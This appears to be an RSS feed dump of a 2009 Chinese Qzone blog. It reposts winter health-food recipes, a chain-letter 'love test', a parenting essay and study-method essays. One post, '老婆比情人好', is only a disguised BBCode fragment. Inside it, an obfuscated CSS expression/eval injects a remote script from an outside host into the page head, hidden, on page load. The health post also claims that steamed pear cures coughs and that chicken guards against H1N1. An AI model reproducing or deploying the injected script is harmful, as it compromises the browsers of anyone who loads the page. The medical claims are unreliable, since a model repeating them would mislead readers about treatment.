<![CDATA[雅韵]]>

<![CDATA[雅韵]]> http://448941539.qzone.qq.com Sat, 28 Nov 2009 10:57:45 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Fri, 27 Nov 2009 11:40:35 GMT <![CDATA[[转]冬季是女性养生的最佳季节]]> http://448941539.qzone.qq.com/blog/1259322035

冬季气候特点第一是燥二是冷，人们总感觉嗓子发干、口腔溃疡、皮肤发干，好像各种身体问题都出现了，但是其实你知道吗?冬季其实是女性养生的最佳季节哦。中医认为，冬令进补与平衡阴阳、疏通经络、调和气血有密切关系。在寒冷季节，更宜进行食补。这对改善营养状况，增强机体免疫功能等方面，更能显示出药物所不能替代的效果。
冬令进补应顺应自然，注意养阳，以滋补为主。根据中医“虚则补之，寒则温之”的原则，在膳食中应多吃温性、热性、特别是温补肾阳的食物进行调理，以提高机体的耐寒能力。冬季“食补”，应供给富含蛋白质、维生素和易于消化的食物。可选食：粳米、籼米、玉米、小麦、黄豆、豌豆等谷豆类；韭菜、香菜、大蒜、萝卜、黄花菜等蔬菜；羊肉、狗肉、牛肉、鸡肉及鳝鱼、鲤鱼、鲢鱼、带鱼、虾等肉食；橘子、椰子、菠萝、荔枝、桂圆等水果。
尽可能吃滋阴润燥的食品
比如梨，具有滋阴润燥的作用。对于中老年胃寒的人群，吃梨有两个方法，一冰糖梨，也就是把梨洗干净，中间清干净里边放三到五块冰糖，放到锅里蒸熟，它具有滋阴、润燥的作用，可以去秋冬带来的不舒服。冬季皮肤变薄，皮脂腺分泌的物质减少，所以皮肤发干、发痒，吃冰糖梨可以改善。第二个偏方花椒梨，有些朋友冬季很容易咳嗽，把梨从中间切开，把一些花椒粒撒在梨上，放到蒸锅里，水开了以后再蒸十分钟，这时候把花椒去掉吃梨。连吃一周左右，你的咳嗽会得到治疗，甚至还会痊愈。所以说冬季吃的水果第一是梨。 .black {color:#000000;}.black a{color:#000000;text-decoration: none;}.bb1 { color:#000000; text-decoration: none; background-color: #D7D7D7;}.bordgray { border: 1px solid #D7D7D7;}.bb2 { color:#585858; background-image: url(http://img1.qq.com/hb/pics/16621/16621241.jpg); text-decoration: none;}

少瓜多果少吃瓜类
尤其西瓜、黄瓜，因为它们偏凉性。你吃瓜比较多就容易出现腹泻，吃水果，除了吃梨以外，苹果也是非常健康的水果，它是平性的。从中医说食品有那么几系列，分别是热性、温性、凉性、寒性、平性。也就是在温性里边最热的变热，在凉里边再凉点就变成寒性，如果不凉也不热就是平性。所以根据不同节气、不同的年龄段要吃不同性质的水果。秋天天气已经开始慢慢变了，尤其中老年朋友本身机体功能逐渐衰退，容易出现胃寒。所以切忌深秋季节特别是冬天，少吃瓜类，多吃些苹果。
多吃蜂蜜少吃姜
冬、秋两季要多蜜少姜。蜂蜜一方面给人们带来能量，另外它有大量的微量元素，像铁、钙、锡、锰等等。每天临睡前半个小时到一个小时，吃一杯蜂蜜酸奶，(糖尿病要减半)，有助于睡眠，蜂蜜补充微量元素，补充维生素。另外蜂蜜还能缓解便秘，第二天我们就会感觉我们便秘一扫而光。相对蜂蜜而言，姜要少吃些，避免发汗伤害津液，保存体力。
多吃增加能量的食品
再说冬天非常寒冷，冬季要吃三高食品，高热量、高蛋白、高维生素。也就是说多吃碳酸化合物，多吃一些蛋白质，比如说鸡蛋、牛奶、肉类，其实鸭肉秋天吃比较好。如果我们一些老年朋友胃不舒服，想吃鸭肉又怕胃不舒服，所以做鸭肉搁点姜或者搁点当归。冬天御寒多吃高蛋白类，适当增加脂肪。
多吃鸡肉，鸡肉是温性，含蛋白质非常丰富。而且鸡肉它的营养成分可以防止得呼吸系统疾病，可以预防感冒。包括我们预防甲型H1N1流感。

冬季10大滋补美食
1、羊肉汤
滋补功效：羊肉汤属热性，可以温胃御寒，但喝多了容易上火。
特点：色泽光亮，呈乳白色；汤质优美，营养丰富；不膻不腥，味道鲜美异常。
制法：
1)先把羊肉、羊骨架洗一下，羊杂做些处理，把羊肉、羊杂放一个锅内煮，可放些葱姜等，(不宜放大料，串味)，等羊肉、羊杂煮熟，捞出切成片，备用。
2)把羊骨架放锅里，加满清水，好了，开火，熬吧，熬一个小时左右，把漂浮在上面的一些杂质舀出去，这时的汤就比较纯净了，放些葱姜，继续熬吧，什么时候熬的汤成乳白色，象牛奶一样就可以了。熬汤一定要舍得花时间。
3)把切好的羊肉、羊杂放碗里，放些葱花、香菜，蒜黄之类的菜，放适量精盐，把熬好的羊汤趁热倒入碗里，好了，一碗色泽乳白，口味鲜香醇正的羊肉汤就做好了配上千层饼或火烧，味道真的好极了。如果喜欢辣椒，可以放些辣椒。
2、萝卜烧排骨
特点：成菜色泽红亮，肉质酥嫩，味道鲜美。
原料：猪排骨500克，萝卜500克，酱油20克，料酒5克，盐4克，味精3克，白糖5克，葱8克，姜5克，淀粉5克，油50克。
制法：萝卜切绞成块，葱切段，姜切片。炒锅上火，放油将葱、姜和萝卜放入，煸炒至上色加入料酒、酱油、盐、味精、白糖和清水，放入排骨坯料，用火烧开锅后，转用小火烧25分钟，待汁收浓且口味浓香时，加入水淀粉，把汁全部挂在原料表面即可。

3、清炖马蹄鳖
主料：甲鱼1只(重约750克)，火腿骨1根，火腿肉100克。
辅料：葱结、姜片、冰糖、熟猪油各 10克，精盐1克、绍酒25克，白胡椒粉1克，鸡清汤750克。
制作：
1)将甲鱼宰杀，用开水烫泡后，剥去外层内膜，用刀沿甲壳四周剖开，掀起甲盖，去掉内脏(留下甲鱼盖)，剁成约3.5厘米长、1.7厘米宽的块(尾和脚爪不用)
2)放入开水锅中煮至水再开，捞出沥水
3)火腿切成4 大块
4)将甲鱼块整齐地码在沙锅中，把火腿、葱、姜和火腿围在甲鱼四周，加入鸡清汤和绍酒，盖锅焖住
5)旺火烧开后，去除浮沫，放冰糖，转用微火炖1小时左右，拣出姜和火腿骨，放盐
6)再将火腿捞出切成片放入锅里，淋上熟猪油，撒入白胡椒粉即可。
4、黄芪炖乌鸡
原料：黄芪50克，乌骨鸡1000克，葱10克，姜10克
制法：
1)清洗干净，放入沸水锅中焯一下，捞出洗净。
2)将黄芪洗净，放入乌骨鸡腹中，放入沙锅，注入鸡清汤，放入料酒、盐、葱段、姜片，用小火炖至乌鸡肉烂入味即成。
功效：
一说——补肝肾、益气血、男子遗精、早泄有辅助治疗作用。
二说——黄芪，是一味中药，功能补脾益气。乌鸡，含有丰富的蛋白质和脂肪、钙、磷、铁和核黄素、尼克酸等。功能养阴益血、治妇科疾病。黄芪炖乌鸡，有补脾益气、养阴益血的功效。榆次民间用这种传统保健食品治疗月经不调、白带过多、月经痛、血虚头晕等妇科疾病。黄芪，性味甘、微温，入脾、肺经。乌鸡，性味甘、平，入肝肾经。

5、杞精炖鹌鹑
原料：鹌鹑 1只，枸杞子、黄精各30克，盐、味精少许。
制作：将鹌鹑宰杀，去毛及内脏，冼净，枸杞、黄精装鹌鹑腹内，加水适量，文火炖酥，加盐、味精适量调味即成。
服法：弃药，吃肉喝汤，每日1次。
功效：滋养肝肾，补精益智。鹌鹑是良好的益智食品，含有丰富蛋白质、无机盐、维生素等，有助于小儿发育、增进食欲、提高记忆力。脑力劳动者常食，能消除眩晕健忘症状，能提高智力，有健脑养神之作用;枸杞子能补肾益精、养肝明目、抗疲劳、增强体力和智力;黄精能补脾润肺、养阴生津、强化筋骨、益智强身。几味同用更增加其滋补和益智作用。适宜于肝肾不足、精血亏虚而见神疲乏力、腰膝酸软、眩晕健忘者服食。
6、素笋汤
原料：冬笋 200克，鲜汤250克，香菜梗、水发黑木耳、葱姜汁、精盐、味精、麻油各适量。
制作：
1)先将冬笋去皮洗净，切成长8厘米、宽1厘米的薄处，放沸水中略烫捞出，放凉水中过凉后捞出控水。
2)黑木耳择成小朵，香菜梗洗净后切成3厘米长的段。
3)炒锅上旺火，放入鲜汤，加入葱姜汁、精盐、味精，再放入竹笋片、黑木耳片，待汤煮沸时，用后勺撇去浮沫，放入香菜梗，淋上麻油搅匀后盛入碗中。
功效：本品特点为素雅清淡，鲜美可口，消痰利肠，通脉化食。

7、冬笋鲫鱼汤
原料：冬笋 100克，鲫鱼1条(250克)，黄酒、生姜片、精盐、味精、精制植物油各适量。
制作：
1)先将冬笋剥完后切成长丝，洗净，然后用沸水煮一下，以除去涩味。
2)鲫鱼去鳞除去内脏洗净，锅中放油烧热，放入鱼煎两面至皮微黄，烹入黄酒，加清水及笋丝、生姜片烧开后，略焖煮一会，加入精盐、味精即成。
功效：本品特点为汤鲜醇浓，肉嫩笋脆弱，利水下乳，健脾益气。
8、三丁豆腐羹
原料：豆腐 250克，猪肉丁150克，番茄250克，青豆米50克，精盐、味精、湿淀粉、麻油、鲜汤各适量。
制作：先将豆腐切成丁，下沸水焯一下，沥干水待用。番茄烫去皮，去籽，切成小丁，烧热油锅，下葱略煸一下，放入鲜汤、豆腐、肉丁、番茄、青豆米、精盐、烧沸，再加味精，淋上湿淀粉，出锅装碗，淋上麻油即成。
功效：味道鲜美，滋阴润燥，补中益气，补脾健胃。

9、骨头汤
原料：脊椎骨 1000克，棒子骨500克，适量清水。
调味佐料：姜片、葱段、酱油、料酒、花椒、大料、桂皮、盐。
制法：切记酱油要少放，以汤略显酱色即可。熬制时间为40-60分钟。骨头汤做好后，盛入小盆内，放入冰箱冷冻室储存，随吃随取。
10、胡椒茴香牛肉汤
原料：胡椒10克，大茴香10克，牛肉500克，大蒜1条。
制作：胡椒、大茴香洗净;大蒜洗净切节;牛肉挑去筋膜，洗净，切成大块。把全部用料放入锅内，加清水适量，武火煮沸后，文火煲2小时，调入酱油、味精即可，饮汤吃牛肉及大蒜。
功效：温中散寒、理气暖胃。用于脘腹冷痛、食少呕吐、形寒肢冷者。 ]]> http://448941539.qzone.qq.com/blog/1259322035#comment 134218249 Fri, 27 Nov 2009 11:40:35 GMT http://448941539.qzone.qq.com/blog/1259322035 <![CDATA[[转]老婆比情人好]]> http://448941539.qzone.qq.com/blog/1258796183

[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://448941539.qzone.qq.com/blog/1258796183#comment 4617 Sat, 21 Nov 2009 09:36:23 GMT http://448941539.qzone.qq.com/blog/1258796183 <![CDATA[[转]古筝名曲18首]]> http://448941539.qzone.qq.com/blog/1237696325

]]> http://448941539.qzone.qq.com/blog/1237696325#comment 4104 Sun, 22 Mar 2009 04:32:05 GMT http://448941539.qzone.qq.com/blog/1237696325 <![CDATA[[转]三分钟就知道谁是你最爱的人(98％的准确率）]]> http://448941539.qzone.qq.com/blog/1237696247 一个很准的心理测试：按下面的步骤一步一步做，不要作弊，否则你的希望会落空，愿望在十分钟内变成现实，记住：不要有欺骗行为。这个戏的结果非常有趣，注意：按顺序往下读，不能跳跃地往下读（只要花3分钟，值得一试）

笔和一张纸，当你在作出选择时，如果是人物，保证是你认识的，无论是数字或名字都是第1直觉，每次向下移动一行——记住：不要跳行往下读！！

一、首先，在一列中写下１到１１的序号（即1、2、3、4、5、6、7、8、9、10、11）

二、在序号1和2的旁边，写下你所想的任意两个数字

三、在序号3和7的旁边，写下任意两个异性的名字。（注意：不要跳跃的向下看，不要作弊哦）

四、在序号4、5、6的旁边，写下朋友或亲戚的名字幕（不要有欺骗行为）

五、在序号8、9、10、11的旁边，写下4首歌的名字。

六、最後，许一个愿。

1. 你必须把这个游戏告诉给（序号２旁边写下的数字）个人。

　　2. 序号3是你所爱的人。

　　3. 序号7是你所喜欢的但不能与之相伴的人。

　　4. 序号4是你最关心的人。

　　5. 序号5是非常了解你的人。

　　6. 序号6是你重要的人。

　　7. 序号8的歌适合序号３的人。

　　8. 序号9的歌适合序号７的人。

　　9.序号10的歌最能代表你的想法。

　　10.序号11的歌是你对生活的感受。

]]> http://448941539.qzone.qq.com/blog/1237696247#comment 134218248 Sun, 22 Mar 2009 04:30:47 GMT http://448941539.qzone.qq.com/blog/1237696247 <![CDATA[生活]]> http://448941539.qzone.qq.com/blog/1237690544 ]]> http://448941539.qzone.qq.com/blog/1237690544#comment 134218240 Sun, 22 Mar 2009 02:55:44 GMT http://448941539.qzone.qq.com/blog/1237690544 <![CDATA[学会爱的能力]]> http://448941539.qzone.qq.com/blog/1219882756 家长教育孩子跟养花有相似之处。孩子就像花儿一样，既需要家长的教育，又怕家长不恰当地教育。浇花不当，会使花儿枯萎，教育不当，会使孩子走向逆反。

　　很多家长在留言的时候，总是强调自己怎么爱自己的孩子，但孩子就是不听话。其实很多家长不明白的一个问题是：不是你心里觉得爱孩子，孩子就感受到你的爱了！爱是一种能力，需要好好学习才能懂得怎么去爱，才能在爱别人的同时让对方感受到爱。
　　在家长与孩子的关系中，家长往往是强势的，孩子越小，其意见越可能不被重视，所以，问题往往出在家长身上。

　　我们想：家长教育孩子，目的是什么？是为了让自己满足教育他人的快乐？还是为了让自己的孩子真正接受好的教育得到成长？
　　如果我们真的是为了让孩子接受教育得到成长，那么为什么会跟孩子出现那么大的分歧？几乎所有的孩子都对父母有或多或少的不满，而家长自己说起来，则是全心全意为孩子好！

　　有家长问：一个东西非常好，于是就给孩子了。但孩子一点都不喜欢，甚至反感！为什么？答：您觉得好，孩子就觉得好吗？典型的偏见！

　　家长又问：那个东西真的很好！您怎么能说我是偏见？答：如果真的像您说得那么好，孩子为什么不接受？您觉得自己的孩子缺心眼儿吗？

　　家长又问：难道我做父母的会骗孩子？答：当然不会骗孩子。但孩子心里的感觉是，您的认识水平有限，您自己可能被骗！

　　家长又问：有时候说的时候，孩子认可了，可就是不执行，为什么？答：看您说得可怜，骗骗您，让您别再那么辛苦地唠叨了。

　　家长又问：我怎么跟孩子说了，孩子才能认可？答：让孩子从心里接受，不要有任何地勉强，让孩子把心里话说出来。

　　家长又问：怎么知道孩子是从心里接受了？答：只要从心里接受了，孩子会很主动地去做。只要没有这样，就是没有接受。

　　家长又问：怎么能让孩子从心里接受？答：让孩子自己得出结论：这样做是最好的，其他的做法都会有问题。

　　家长又问：怎么能让孩子把心里话说出来？答：与孩子平等交流。

　　家长又问：怎么与孩子平等交流？答：首先承认自己也可能错，只要孩子指出自己的问题，自己一定承认并且认真改正。

　　家长爱孩子，目的在于让孩子在爱的环境中茁壮成长，而不是满足自己爱别人、施展爱的欲望。所以，爱孩子要以孩子的成长为目标。要做到这一点，需要培养自己爱的能力，培养爱的能力需要与孩子平等交流，也就是所谓的平等思维。
]]> http://448941539.qzone.qq.com/blog/1219882756#comment 512 Thu, 28 Aug 2008 00:19:16 GMT http://448941539.qzone.qq.com/blog/1219882756 <![CDATA[[转]学习三部曲三:培养认真的能力]]> http://448941539.qzone.qq.com/blog/1216010964 学习三部曲三:培养认真的能力

　　科学思维唐曾磊

　　认真是一种能力，不是态度说认真是一种能力，是针对“认真是态度”的说法而言的。一般，我们都认为认真是一种态度，所以，每次学生表现出不认真时，家长或老师对学生的建议总是“下回认真点！”期待着下回考试的时候，学生会提示自己：“我要认真，我要认真……”于是，学生就认真起来了，并因而考出好成绩来。但这只是一种美好的奢望，学生不会因为这句话而学习好了，这种话对学生来说根本就没用！
　　人们往往认为，认真是一种态度，而态度是可以短时间“端正”的。当有人态度不认真的时候，就要求他端正态度，认真一点，于是他就会正襟危坐、两眼一瞪，于是就算是认真了。
　　到我们中心来学习的同学，一般我总会问他们一些问题：
——期中考试考了多少分？
——60来分。
——你觉得你会做的题目有多少分？
——差不多80～90分吧。
——会做的题目是80～90分，为什么只得了60来分？
——粗心呗。
——那么上一回有没有粗心？
——也有。
——是不是从小就是粗心长大的？
——嘿嘿，好像是吧。

……

　　不论学生还是成年人，太多的人认识不到粗心的危害。
　　很多时候因粗心导致了错误，往往轻轻拍一下脑门，笑一下：“又粗心了！”于是就轻描淡写地放过自己。
　　于是下一次依然会粗心，当然还会原谅自己，“粗心么，又不是真的不懂，下次认真一下就可以了么！”
　　再下一次仍旧粗心，仍旧原谅自己……如此反复，永无更改之日。
　　家长或老师们经常会说的一句话是：“粗心了吧，下回认真点！”
　　我把这句话的真实意思翻译了一下，就是：你是粗心做错的，不用伤心，不要在意，你很聪明，然后，继续错下去吧！
　　当因粗心犯下致命的错误的时候，后悔已经来不及了！可悲的是，很多人到最后还在嘴硬：“太可惜了！运气不好，又犯了粗心的毛病。如果我态度认真一点就不会这样了！”
　　当把认真当作一种能力的时候，就不一样了。
　　认真是一种能力，能力是需要长期培养的。而不是象态度只要做出样子来就可以转换。
　　根据三倍快速学习技术的理念，做错题目的原因之中根本就没有“粗心”这个概念，只有不懂！如果做错了，就虚心承认自己不懂，然后才有可能认真地补习基本知识，让自己彻底改掉所谓的“粗心”的毛病，从而锻炼出认真的能力。
　　认真是一种能力，需要长期的培养，绝对不是一朝一夕随便端正一下就可以认真起来的！
　　认真是一种作人的优秀的品质，有了认真的能力，学习会学习好，工作会工作好，任何时候做任何事情都能够把自己的水平发挥到最好。

　　什么是认真的能力？
　　认真的能力对于学生来说就是一次性把一个题目做到“学会”的能力。
　　“学会”就是前面文章中提出的学会的三个标准。
　　一次性，就是在做好一件事情之前不再做别的事情，直到把这件事情做到最好。
　　所谓能力就是掌握和运用知识技能所需的个性心理特征，是运用各种条件取得预期效果的可能性。能力的培养不是一朝一夕的事情，需要培养者以巨大的恒心和毅力，不断练习和修正，逐渐形成的一种分析问题、解决问题的能力。

　　古今中外，凡大学问家在做学问方面都是极其认真的。
　　1785年凯文迪西在空气中通入过量的氧气后用放电法使氮气变为氮的氧化物(NO2)，然后用碱吸收，剩余的氧气用红热的铜除去，即使全部的氮和氧除尽仍有少量的残余气体存在。英国物理学家雷莱在1892年发现从氮的化合物制得的氮气每L重1.2505g，而从空气中分离出来的氮气在相同条件下每L的质量为1.2572g，虽然两者之差只有几毫克，但已超出了实验的误差范围。他怀疑大气中的氮气中含有尚未发现的较重气体。雷莱使用凯文迪西的放电方法经多方面的试验才断定该气体为一种新元素。因为它极不活泼故命名为氩，原文是不活泼的意思。
　　在此以前，1868年天文学家间孙研究光谱的实验中断定太阳上有一种在地球上尚未被发现的新元素，并命名为氦，氦的原文意义就是太阳。以后在1888~1890年间美国化学家赫列布莱得用硫酸处理一种铀矿时，获得一种不活泼的气体。在1895年用光谱实验证明了这种气体正好与太阳上的氦光谱相同。雷姆文应用了已发现的元素性质的变化规律预料在它们之间还有一种尚未发现的元素，他在几天之内在大量液态空气蒸发后的残余物中，首先发现了比氩重的氪（原字是隐藏的意思），然后分离出氖（原字是新的意思）。最后在分馏液体氩时又发现了氙（原字是陌生意思）。道纳在1900年在含镭的矿物中发现了氡（原字是射线的意思）。氦、氖、氩、氪、氙、氡由于它们在自然界中含量很稀少，故又称它们为稀有气体。
　　氦(He)、氖(Ne)、氩(Ar)、氪(Kr)、氙(Xe)、氡(Rn)六种稀有气体都是单原子分子组成，它们分子之间的作用力很微弱，所以它们的熔点、沸点以及临界温度都很低，并随着它们的相对原子质量的增加而增高。它们在水中的溶解度随着从氦到氡的顺序而迅速增加。这六种元素的原子，除氦（原子核外最外层上有2个电子）外，其它原子的核外最外电子层上电子数都是8个，这种结构又称为稳定结构。因此，在一般的情况下都不能彼此化合，也不与其他元素相化合（但这并不是绝对的）。

（摘自：http://kx.pyjy.net/）

　　从上面的事例中可以看出，认真实在是做学问所不可或缺的能力，它不是一个人单单靠端正一下态度就可以得到的。

　　认真的能力需要经过长期的努力才能获得。

　　如果每个人都能成为具有认真能力的人，那么，生活中每件事情都会做到他们能力的顶峰，我们的国家会是什么样子？这个世界会变成什么样子？

　　愿每个人都成为具有认真能力的人！

　　

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平等思维唐曾磊

　　很明显，学习过程的目标就是把知识学会。
　　学会是我们的目标，关于学会有两个基本的问题：什么是学会？学会的标准是什么？
　　怎么能在考试的时候准确地考出结果？怎么能在工作生活中很快学会并且发挥出自己最好的水平？
　　这些问题看似不那么重要，但请跟着我一点点分析完了，你就知道这个问题是如此的重要，以至于我们可以说，只要明白了上面的问题并能够依照来实行的话，每个孩子，只要他不是天生的大脑有问题，都可以进入清华北大这样的大学。
　　这两个问题给出了学习每个知识的检验标准，试想如果学习到什么程度没有个标准，也就是说，所有的学习我们不知道什么时候学会。如果不知道什么时候学会，就会由于不知道是不是学会了，浪费很多时间不断重复已经学会的知识，而且在学习的时候不能有一个检验指标，不能指导学习过程，使学习过程科学化。
　　问题不明确就会走很多冤枉路，这种事情非常普遍。
　　人们在处理问题的时候，很多时候自以为很明确问题是什么了，但事实上不清楚问题到底是什么。这种情况非常普遍，而且不止是知识不够不足的人，很多世界著名的研究人士也会犯这种错误。
　　20世纪50年代，全世界都在研究制造晶体管的原料——锗，几乎所有的研究者都在做一个研究过程中必不可少的步骤：如何将锗提炼得更纯。
　　日本新力公司的江畸博士和助手黑田百合子也在不断进行探索，但每次试验都难免会混进一些物质，而且到了一定阶段后，每次测量都显示出在一定范围内的无规则的数据。显然他们的研究已经进入了一个死胡同。
　　后来在一次讨论中，他们重新考虑这个研究的问题，我们到底要研究什么？
　　经过反思，他们认识到他们原先对问题的定位不够准确，他们把问题局限在如何将锗提炼得更纯这一点上，但真正的问题是：让锗在晶体管中起到应有的作用，制造出更好的晶体管。
　　问题一旦明确了，他们的工作就容易进行了。他们去掉原来的前提，而另辟新途，既然提纯很难，那么可不可以添加一些杂质来达到目的？
　　于是他们有意地一点一点添加杂质，研究晶体管随着杂质的增加，性能发生的变化，终于他们发现：在将锗的纯度降到原来的一半时，晶体管的性能最理想。
这项发明一举轰动世界，江畸博士和黑田百合子分别获得诺贝尔奖和民间诺贝尔奖。
　　人们在遇到问题的时候，往往不自觉地想赶紧往前走，赶紧找出答案，但经常忽略问题本身。我们应该从界定问题开始，首先搞清楚“问题到底是什么？”
　　我们接下来就要详细分析上面提到的问题。
　　学会有三个标准：
1．得满分

　　人们在制定目标的时候往往会不敢明确，因为他们希望给自己留有余地，希望到最后完不成目标的时候可以找到借口，不让自己太难受，因此，很多人习惯于把目标定得模模糊糊，而且标准也是尽量低一点。
　　这里，我们提出的学会的标准就是得满分。如果一个题目10分，那么得满分就是得10分。只有得10分才叫学会了，否则，得9分、8分，都叫做不会！怎么办？继续学习！重新做！
　　只要学生没有得满分，就要重新做。
　　把一个题目学到得满分并不是一件容易的事情。
　　得满分含有三层意思：
　　一是前因后果，因果关系绝对不能错。
　　题目中有的前后两步骤之间是因果关系，有的不是。
　　凡是有因果关系的，要考虑第一步是不是一定可以推出第二步？
　　什么时候可以推出来，什么时候推不出来？
　　因果关系中先因后果，次序是否有错？
　　题目的整体思路为什么是这样的？
　　除了这种思路，还可以有什么样的思路？
　　为什么要选择这样一条思路？
　　第一步为什么要这么做？
　　不这么做行么？
　　最规范的做法应该是什么样的？
　　画辅助线的说法有没有问题？是不是标准的说法？
　　每一步骤与后一步骤之间是什么关系？
　　每一步是不是必然推出下一步？
　　这一步还可以推出什么结果？
　　因为有什么条件才能推出下一步？
　　这一步用了什么概念、公式、定理？
　　每一个概念我是不是完全掌握了？
　　这个概念中的关键词语我都很清楚了么？
　　公式的前提条件是什么？这个题目符合公式的前提么？
　　对这个公式自己是否能够熟练掌握？
　　这个公式有几种变型？每一种变型适用于什么情况？
　　所用定理的前提条件是什么？
　　定理中的每一个关键概念是不是清楚的？
　　题目做完了，有没有感觉上比较容易出错的地方？
　　有没有什么地方比较罗嗦？
　　什么样的答案既简练又准确？
　　……
　　把上面的问题都想明白了，这个题目从道理上来讲就基本掌握好了。
　　二是采分点一个都不能少。
　　每个大题都会有几个关键步骤，这些关键步骤都分别承担一些分数，只要某一关键步骤出现错误，就一定要扣分，不论其他部分做得是否正确。
　　当我们把题目理解透了的时候，看到一个题目，就需要明白一下问题：
这个题目在考什么？
什么地方是真正的考点？
根据这个考点，答题的时候需要注意什么问题？
什么地方应该作为答题的重点？
考官设了什么陷阱？
他出题是不是够妙？
如果我出题的话，怎么出题会更能够考出学生的水平？
……
　　三是只要这个题目会做，一个字都不能错。
　　很多时候，一个人在做一件事情的时候，他总会想着赶紧把这件事情做完，再赶去做另外的事情。这就是典型的浮躁。
　　人们总是不能停留在当下，不能在做一件事情的时候全身心地投入到当前的事情之中。几乎每件事情都是如此。
　　所以，人们总是活的不真实，总是没有在生活，而是在奔波，在急匆匆地往前走。
　　走到前面去干什么呢？
　　其实没有干什么，是再往前走！
　　问题是人们错过了当下，他们做的几乎每一件事情都不够完美，他们不能享受现在的时光，他们的心不是在追忆从前，就是在畅想未来，唯独没有现在。
　　在这种心理支配下，人们总是想着感觉做完手头的工作，在着急着做完的时候，就会出现很多不应该出现的错误。
　　一个有智慧的人是一个活在现在的人，就是活在此时此地、活在这个片刻，而不活在其它地方的能力。
　　三倍快速学习技术提示我们，只要没有完全正确，哪怕错一个字都要全部重做！
　　这是体罚么？
　　我们这么做的目的是给学生一种刺激，让学生形成一种认识：只要我会做，不可以做错，因为做错了会重做，这可是一件很讨厌的事情。与其匆匆忙忙地做错了重做，还不如稍微慢一点，只要会做的全部做对呢。
　　当学生们有了这种心理状态的时候，他们就踏实多了。他们就会安安稳稳地坐下来，不急不慌地把题目仔仔细细地做完，并在上交前认认真真地检查好，争取不出现任何错误。
　　有人可能会不满意：只错了一个字就让学生重做，会不会太耽误时间了？
我们要强调的是：既然这个题目会做，为什么要错一个字？为什么不一次性做到满分？尤其要提醒的是：为什么没有在上交之前把这个错字自己检查出来？
　　所以，在这里，只要做错了，就要重做。
　　什么是做错？
　　不得满分就是做错！
　　一般第一次用这种方法训练的同学，从不会到一次性做到满分，一般需要重复至少5次。有的同学甚至需要做十几次才能真正把一个题目做到满分。因为他从来没有这么真正学会过一个题目。
　　北京蓝靛厂中学有一位同学名字叫贾伯松，他第一次来我中心补习课程的时候，上完两个小时就来投诉我的老师，说老师耽误时间，两个小时时间，居然连一个问题还没有讲完。我问他，“你能够做到满分么？”他不好意思地说：“尽管我还做不到满分，但是我可以回家做啊！”我马上接口：“如果你能够回家好好做，今天就不用来我们这里补习了！”……
2．熟练化

　　在清华读书，有一个很大的便利，那就是，你有机会接触到各省各市的状元。
　　记得前总理朱鎔基在2001年6月6日，清华大学综合体育馆为经管学院全体师生和清华其他各院系学生代表做的讲座中就说过这样一则故事：
　　……
　　谈到为学，坦率地说，我不是一个好学生，我不喜欢工程，因为英文好，喜欢文科，老想着转系，不过没转成。有人说没转成是对的，因为国家后来还是重视工科的。我那时候在班里不是最好的，……我说我在中学时是班里的第一名，现在跟班上那些认真学习的人相比也没有怎么不用功啊？张（一位师兄）告诉我说：在来清华之前，哪个不是第一名？？？清华竞争的确非常激烈，人才出了不少，我们班里（指电机系）就出了三个院士。
　　……
　　接触到这么多的第一名，就有机会学到很多自己不具备的能力。
　　一个人的成功可能出于偶然因素，但100个人的成功中一定存在必然因素。
　　三倍快速学习技术集中研究了很多名清华北大各省市状元和各学科学习尖子的学习方法，经过统计分析，在摒弃了这些学生的天生的智力因素的基础上，总结影响这些学生们学习的可以复制的非智力因素，从而形成了目前的三倍快速学习技术。
　　在这些非智力因素中，我发现大多数学习尖子都有一个很明显的共同特点，那就是：他们学得最好的那门课考试时都有一种非常接近的感觉——试卷发现来后，他们会感到试卷中的题目大多数是很熟悉的，有一部分甚至不需要计算都可以保证写出准确的答案，只有最后的一两道题目是没有十分的把握的，但也基本上有信心可以做对。
　　有这种感觉的学生往往会成绩都会达到147分左右（150分满分）。他们之所以没有得满分，往往不是因为有什么题目做错了，而是因为有的答案与标准答案不一样而扣去了几分。
　　基于这种调查，三倍快速学习技术提出一个题目不仅要做到满分，而且有非常熟练地做到满分，具体标准就是：如果一个题目需要10分钟做出来，在这个学生学会这个题目以后，这个同学必须能够达到在8分钟之内做出这道题并得到满分。否则，就不能说会。
3．举一反三

　　经过前两步的学习，一个题目的正确性和熟练程度基本上已经没问题了，进一步的做法是举一反三。
　　举一反三，出自孔子《论语述而》：“举一隅，不以三隅反，则不复也。”反：类推。从一件事情类推而知道其它许多事情。比喻善于学习，能够由此及彼。
　　当一个题目已经能够熟练地做到满分的时候，就需要进一步问自己：
这个题目可以有几种解题思路？
哪种思路最快，而且最容易让人接受？
这个题目曾与以前的哪个题目比较相似？它们之间的差别和相似点分别在哪里？
这个题目实质是什么问题？
这个题目的前提条件可以有几种变化？
每一种变化怎么做出来得满分？
问题可以有几种问法？
每一种问法通常的解决方案是什么？
这个题目解决方案的关键是什么？
什么地方容易出问题？
出题人考的是哪个点？
这个题目的每一个步骤我都能够根据条件自然推出来么？
每一个步骤与下一步骤之间的关系准确么？
如果两步骤之间应该是因果关系，那么前一步骤是充分条件么？
如果有隐含的条件，那么隐含的条件是什么？
　　显然，要做到上面提到的三点并不容易，所以很少有学生能够自己主动地把知识学到这个程度。
　　难以执行的原因在于几乎所有的学生都没有认真的能力，也就是说没有“一次性把一个题目做到满分”的能力。

文章引用自：唐曾磊《爱学习会学习》

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平等思维唐曾磊

　　
　　学生学习不好的根本原因是浮躁。

　　浮躁有五种表现：

（1）上课一听就懂，其实没有真懂；
（2）看书一看就会，其实没有真会；
（3）题目拿来就做，没看清条件就做；
（4）做完题就上交，没检查好就上交；
（5）发现题目错了，以为粗心不改正。
　　有上面五种浮躁习惯，学习成绩一定不会理想。因为有上面的浮躁习惯，就会导致三种危害：学的时候学不会；考的时候考不出；错的时候改不了。
　　具体分析如下：
1．学的时候学不会

　　具体有以下两种表现：

　　（1）上课一听就懂，其实没有真懂

